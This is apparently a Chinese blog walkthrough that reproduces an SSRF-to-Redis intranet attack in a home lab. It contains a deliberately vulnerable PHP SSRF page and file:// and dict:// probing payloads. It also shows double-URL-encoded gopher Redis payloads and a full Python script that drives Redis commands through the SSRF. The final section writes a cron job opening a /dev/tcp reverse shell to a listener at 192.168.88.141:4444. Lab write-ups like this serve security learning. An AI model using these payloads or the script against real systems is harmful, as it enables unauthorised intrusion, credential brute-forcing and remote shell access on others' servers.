基于SSRF+Redis的内网渗透

基于SSRF+Redis的内网渗透

一、WEB服务器配置
1、丑陋的拓扑图

在这里插入图片描述

2、添加网卡

在这里插入图片描述
在这里插入图片描述

网卡二选择vmnet1,后面有没有自定义都行,目的是让主机无法与网卡2通信

3、设置为固定IP
#查询当前网卡
[root@CentOS-2 ~]# ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.88.132  netmask 255.255.255.0  broadcast 192.168.88.255
        inet6 fe80::91cf:5331:e98c:d6d2  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:2f:8d:05  txqueuelen 1000  (Ethernet)
        RX packets 420  bytes 37770 (36.8 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 298  bytes 32658 (31.8 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

ens35: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.25.132  netmask 255.255.255.0  broadcast 192.168.25.255
        inet6 fe80::f465:ce4f:dc20:e57a  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:2f:8d:0f  txqueuelen 1000  (Ethernet)
        RX packets 1  bytes 342 (342.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 16  bytes 1544 (1.5 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

#拷贝ens33的配置给ens35
[root@CentOS-2 ~]# cp /etc/sysconfig/network-scripts/ifcfg-ens33 /etc/sysconfig/network-scripts/ifcfg-ens35

在这里插入图片描述

#修改ens35网卡的配置文件
[root@CentOS-2 ~]# vim /etc/sysconfig/network-scripts/ifcfg-ens35

TYPE="Ethernet"
PROXY_METHOD="none"
BROWSER_ONLY="no"
BOOTPROTO="static"
DEFROUTE="yes"
IPV4_FAILURE_FATAL="no"
IPV6INIT="yes"
IPV6_AUTOCONF="yes"
IPV6_DEFROUTE="yes"
IPV6_FAILURE_FATAL="no"
IPV6_ADDR_GEN_MODE="stable-privacy"
NAME="ens35"
UUID="ba3657b9-7928-40ea-ac30-f4d6a031fc8i"
#默认网卡
DEVICE="ens33"
ONBOOT="yes"
IPV6_PRIVACY="no"
IPADDR=10.0.0.1
NETMASK=255.255.255.0
GATEWAY=10.0.0.254

#重启所有网卡
[root@CentOS-2 ~]# systemctl restart network

在这里插入图片描述

[root@CentOS-2 ~]# ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.88.132  netmask 255.255.255.0  broadcast 192.168.88.255
        inet6 fe80::91cf:5331:e98c:d6d2  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:2f:8d:05  txqueuelen 1000  (Ethernet)
        RX packets 1447  bytes 120592 (117.7 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 920  bytes 105514 (103.0 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

ens35: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.0.0.1  netmask 255.255.255.0  broadcast 10.0.0.255
        inet6 fe80::20c:29ff:fe2f:8d0f  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:2f:8d:0f  txqueuelen 1000  (Ethernet)
        RX packets 1  bytes 342 (342.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 36  bytes 2960 (2.8 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 4  bytes 416 (416.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4  bytes 416 (416.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
4、安装并启用lampp服务
[root@CentOS-2 ~]# /opt/lampp/lampp start
Starting XAMPP for Linux 5.6.40-1...
XAMPP: Starting Apache...ok.
XAMPP: Starting MySQL...ok.
XAMPP: Starting ProFTPD...ok.

这里就不演示怎么安装xampp服务了

5、检查配置

是否能访问http服务

在这里插入图片描述

检查是否能和本机通信

在这里插入图片描述

二、Redis服务器配置
1、修改网卡

在这里插入图片描述

2、修改IP地址
#修改为备份文件
[root@localhost ~]# mv /etc/sysconfig/network-scripts/ifcfg-ens33 /etc/sysconfig/network-scripts/ifcfg-ens33.bak
#拷贝
[root@localhost ~]# cp /etc/sysconfig/network-scripts/ifcfg-ens33.bak /etc/sysconfig/network-scripts/ifcfg-ens33
#修改配置文件
[root@localhost ~]# vim /etc/sysconfig/network-scripts/ifcfg-ens33
#重启网卡
[root@localhost ~]# systemctl restart network

在这里插入图片描述

把之前的配置做上保存,然后拷贝一个出来,修改一下IP地址和网关

3、redis.conf配置修改
#修改访问地址
[root@localhost redis-5.0.4]# cat redis.conf |grep "bind 0.0.0.0"
bind 0.0.0.0
#关闭安全模式
[root@localhost redis-5.0.4]# cat redis.conf |grep "protected-mode"
protected-mode no
#密码
[root@localhost ~]# cat redis-5.0.4/redis.conf |grep "^requirepass "
requirepass sword
#使用配置文件启动redis后台启动
[root@localhost redis-5.0.4]# redis-server /root/redis-5.0.4/reids.conf &

在这里插入图片描述

4、检查配置

检查内网redis服务器是否通信

[root@CentOS-2 ~]# ping 10.0.0.2
PING 10.0.0.2 (10.0.0.2) 56(84) bytes of data.
64 bytes from 10.0.0.2: icmp_seq=1 ttl=64 time=0.263 ms
64 bytes from 10.0.0.2: icmp_seq=2 ttl=64 time=0.258 ms
^C
--- 10.0.0.2 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1003ms
rtt min/avg/max/mdev = 0.258/0.260/0.263/0.016 ms

检查是否与redis通信

[root@CentOS-2 ~]# telnet 10.0.0.2 6379
Trying 10.0.0.2...
Connected to 10.0.0.2.
Escape character is '^]'.
auth sword
+OK
quit      
+OK
Connection closed by foreign host.

selinux关闭

[root@localhost ~]# cat /etc/selinux/config |grep "^SELINUX"
SELINUX=disabled
SELINUXTYPE=targeted 
三、SSRF漏洞复现
1、SSRF.php
<?php
    #创建一个curl方法
    function curl($url){
        #实例化
        $ch = curl_init();
        #设置参数
        curl_setopt($ch, CURLOPT_URL, $url);
        #设置是否返回响应头,这里是0代表不用返回,则以相反
        curl_setopt($ch, CURLOPT_HEADER, 0);
        #发送请求
        curl_exec($ch);
        #关闭连接
        curl_close($ch);
        #如果报错就输出报错信息
        echo curl_error($ch);
    }
    #接收POST或者GET请求方式url值
    $url = $_REQUEST['url'];
    #调用curl方法
    curl($url);
?>

如果不能访问arp文件请更改PHP版本或者

<?php
    print_r(file_get_contents($_REQUEST['url']));
?>

查看完之后要把php代码改成上面第一个才能以下操作,切记

2、检验代码漏洞

访问http://192.168.88.132/sundry/ssrf.php?url=dict://127.0.0.1:22/

查看是否开启22号端口

在这里插入图片描述

访问http://192.168.88.132/sundry/ssrf.php?url=dict://127.0.0.1:3306/

查看是否开启3306号端口(mysql的端口)

在这里插入图片描述

访问:http://192.168.88.132/sundry/ssrf.php?url=file:///etc/passwd

查看文件/etc/passwd

在这里插入图片描述

四、漏洞利用
1、内网IP地址扫描

从A段网络开始扫描或者去查看路由表

http://192.168.88.132/sundry/ssrf.php?url=file:///proc/net/arp

在这里插入图片描述

从1-254扫一遍

在这里插入图片描述

发现2个主机

在这里插入图片描述

2、端口扫描

添加变量

在这里插入图片描述

添加常用端口

在这里插入图片描述

发现存在redis服务

在这里插入图片描述

3、Redis密码爆破

更换参数

在这里插入图片描述

导入字典开始爆破

在这里插入图片描述

爆破成功

在这里插入图片描述

五、Redis协议分析
1、抓包分析

在这里插入图片描述

//套接字解释

*2	是个参数
$4	auth的长度
$5	sword的长度
*1	一个参数
$4	info的长度

#前后都是固定的
前面是连接
后面是qiut退出

更详细的通信规范可以参考:https://www.cnblogs.com/oxspirt/p/12764683.html

2、gopher伪协议

Gopher是一种分布式的文档传递服务。它允许用户以无缝的方式探索、搜索和检索驻留在不同位置的信息。gopher可以构造各种HTTP请求包,所以gopher在SSRF漏洞利用中充当万金油的角色

*2
$4
auth
$5
sword
*1
$4
info
*1
$4
quit

把以上的命令用url编码一次

*2%0A%244%0Aauth%0A%245%0Asword%0A*1%0A%244%0Ainfo%0A*1%0A%244%0Aquit

在这里插入图片描述

因为编码是把\r默认取消掉了所以我们需要把它加上

在这里插入图片描述

*2%0D%0A%244%0D%0Aauth%0D%0A%245%0D%0Asword%0D%0A*1%0D%0A%244%0D%0Ainfo%0D%0A*1%0D%0A%244%0D%0Aquit

因为浏览器会解析一次url解码,所以我们还需要来一次url转码

*2%250D%250A%25244%250D%250Aauth%250D%250A%25245%250D%250Asword%250D%250A*1%250D%250A%25244%250D%250Ainfo%250D%250A*1%250D%250A%25244%250D%250Aquit

在这里插入图片描述

3、利用brup发包

在这里插入图片描述

六、python实现交互式
1、python代码
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
"""
@当前项目   :python
@当前脚本   :redis交互式.py
@创建人     :Sword
@时间      :2023/11/7 0:08 
@脚本说明   :复现redis+ssrf漏洞
"""
#正则模块
import re
#url转码模块
from urllib.parse import quote
#请求模块
import requests

#命令分解为redis格式
def command_data(data):

    #使用正则分解data
    data = re.findall(r'"[^"]+"|\S+',data)
    #得到长度
    num = len(data)
    #得到多少个参数
    command =f'*{num}\r\n'
    #循环里面的单独参数
    for i in data:
        #算出字符串长度
        param_len = len(i)
        #拼接
        command += f'${param_len}\r\n{i}\r\n'
    #返回整个命令的redis格式
    return command

def encode_gopher(data):
    #把redis格式的字符串进行url转码
    data = quote(quote(data))
    #返回转码之后的值
    return data

#get请求
def ssrf_request(data):
    #url地址
    burp0_url = f"http://192.168.88.132:80/sundry/ssrf.php?url=gopher://10.0.0.2:6379/_{data}"
    #使用get请求
    html = requests.get(burp0_url).text
    return html

if __name__ == '__main__':
    #密码转码
    passwd = command_data('auth sword')
    #死循环
    while True:
        #获取命令
        tcp_command = input("10.0.0.2:6379>")
        #判断是否结束脚本
        if tcp_command == 'exit':
            exit()
        #分解命令
        command = command_data(tcp_command)
        #并接之后url转码
        url_command = encode_gopher(passwd+command+command_data('quit'))
        #提交get请求
        html = ssrf_request(url_command)
        # 统计 "+OK" 出现的次数
        ok_count = html.count("+OK")
        #判断+OK次数
        if ok_count >= 2:
            # 找到最后一次出现 "+OK" 的位置
            index = html.rfind("+OK")
            # 保留最后一次 "+OK" 并删去后面的所有字符串
            cleaned_response = html[:index + 3]
        else:
            cleaned_response = html
        print(cleaned_response)

在这里插入图片描述

2、info演示

在这里插入图片描述

3、升级python代码
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
"""
@当前项目   :python
@当前脚本   :redis交互式.py
@创建人     :Sword
@时间      :2023/11/7 0:08 
@脚本说明   :复现redis+ssrf漏洞
"""
#正则模块
import re
#url转码模块
from urllib.parse import quote
#请求模块
import requests

#命令分解为redis格式
def command_data(data):

    #使用正则分解data
    data = re.findall(r'"[^"]+"|\S+',data)
    #得到长度
    num = len(data)
    #得到多少个参数
    command =f'*{num}\r\n'
    #循环里面的单独参数
    for i in data:
        #算出字符串长度
        param_len = len(i)
        #拼接
        command += f'${param_len}\r\n{i}\r\n'
    #返回整个命令的redis格式
    return command

def encode_gopher(data):
    #把redis格式的字符串进行url转码
    data = quote(quote(data))
    #返回转码之后的值
    return data

#get请求
def ssrf_request(data):
    #url地址
    burp0_url = f"http://192.168.88.132:80/sundry/ssrf.php?url=gopher://10.0.0.2:6379/_{data}"
    #使用get请求
    html = requests.get(burp0_url).text
    return html

#检测命令是否带\n
def detection(data):
    redis_command = ""
    if r"\n" in data :
        fruits = data.split(r'\n')
        for i in fruits:
            redis_command +=i+"\n"
    return redis_command

def redis_null(tcp_command):
    # 分解命令
    command = command_data(tcp_command)
    # 并接之后url转码
    url_command = encode_gopher(passwd + command + command_data('quit'))
    # 提交get请求
    html = ssrf_request(url_command)
    # 统计 "+OK" 出现的次数
    ok_count = html.count("+OK")
    # 判断+OK次数
    if ok_count >= 2:
        # 找到最后一次出现 "+OK" 的位置
        index = html.rfind("+OK")
        # 保留最后一次 "+OK" 并删去后面的所有字符串
        cleaned_response = html[:index + 3]
    else:
        cleaned_response = html
    return cleaned_response

if __name__ == '__main__':
    #密码转码
    passwd = command_data('auth sword')
    #死循环
    while True:
        #获取命令
        tcp_command = input("10.0.0.2:6379>")
        #判断是否结束脚本
        if tcp_command == 'exit':
            exit()
        redis = detection(tcp_command)
        if redis == "":
            print(redis_null(tcp_command))
        else:
            print(redis_null(redis))

修改代码是因为input返回的值是纯字符串格式,就会导致我写入文件的时候\n是以字符串形式写入进去的

七、写入定时任务提权
1、kali开启监听
┌──(root㉿kali-3)-[/home/sword]
└─# nc -lvvp 4444
listening on [any] 4444 ...
2、写入反弹shell
#创建写入文件名
10.0.0.2:6379>config set dbfilename root
+OK
+OK
+OK
#写入路径
10.0.0.2:6379>config set dir /var/spool/cron
+OK
+OK
+OK
#写入内容
10.0.0.2:6379>set test "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.88.141/4444 0>&1\n\n"
+OK
+OK
+OK
#保存
10.0.0.2:6379>save
+OK
+OK
+OK

在这里插入图片描述

写到这里发现,一开始搭建环境的时候就不能连接外网,现在反弹过来外网也收不到,所以只能先把跳板机给拿下然后做个端口映射,这里我直接贴个图片,就是Linux的定时任务内容吧

在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值